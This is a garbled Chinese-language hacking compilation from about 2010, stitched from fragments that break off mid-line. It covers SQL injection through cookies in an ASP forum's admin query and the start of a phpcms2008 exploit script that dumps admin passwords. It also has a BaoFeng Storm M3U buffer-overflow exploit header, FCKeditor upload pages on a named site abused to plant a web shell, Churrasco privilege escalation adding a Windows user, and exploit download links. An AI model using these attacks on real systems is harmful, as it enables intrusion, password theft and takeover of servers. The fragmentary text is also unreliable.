漏洞分析:

在文件bottom.asp中：
key=trim(Request("key")) //第25行
key2=key
key3=key
select case mode
case 1
    if instr(1,key," ")>0 then
        str=Split(key," ")
        key=""
        key3=""
        For ii=0 to UBound(st

在文件indexlabel.asp中：
sql="select top 1 Admin,UserName,Password from BBSGood_Admin where UserName='"&Request.Cookies(bbsinfo&"adminuser")&"' "   //第115行
Set rs = Server.CreateObject("ADODB.Recordset")
程序没有验证用户是否登陆，导致cookies的值没有过滤而产生注入漏洞

测试方法：
修改cookies值注入

解决方案：
增加用户登陆验证

发布日期：2010-05.05   
影响版本：phpcms2008
漏洞描述： product.php 注入漏洞，暴出管理员用户密码。
exp代码：
<?php
ini_set("max_execution_time",0);
error_reporting(7);
function usage()
{
global $argv;
exit(

"\n[+] Usage : php ".$argv[0]." <hostname> <path>".
"\n[+] Ex. : php ".$argv[0]." localhost /yp".
"\n\n");
}

function query(

t00ls需要20金币 太黑了 我免费发布了如果我的连接失效可以去饭客安全论坛下载

EXE程序MD5值:777f2e50aeb39e6884c1b0ad7d28a006

下载地

# Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit
# EDB-ID: 12516
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Lufeng Li and Qingshan Li
# Published: 2010-05-06
# Verified: no
# Download Exploit Code
# Download N/A

view sourceprint?#!/usr/bin/env python

#################################################################

#

# Title: BaoFeng Storm M3U File Processing Buffer Overflow Exploit

注入yp/company.php?where=%23

进入后台访问
http://www.digua8.cn/admin.php?mod=phpcms&file=safe&action=see_code&files=kindle.php

下载地址：

http://down.qiannao.com/space/file/qiannao/share/2010/5/2/MS08-002d067.rar/.page
解

http://www.digua8.cn/fckeditor/editor/filemanager/connectors/test.html

http://www.digua8.cn/fckeditor/editor/filemanager/connectors/uploadtest.html

这个两个页面，是死的关键。上传digua.asa;.jpg

上传之后，路径自然出来了。马为digua.asa; 注意，后面有个;

除了2.63.

Fckeditor 基本上每个

d:\Churrasco.exe "net user 009 /add"

/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 1948
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 472
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 1696
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco

连接内网3389

#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>

下载地址：

http://down.qiannao.com/space/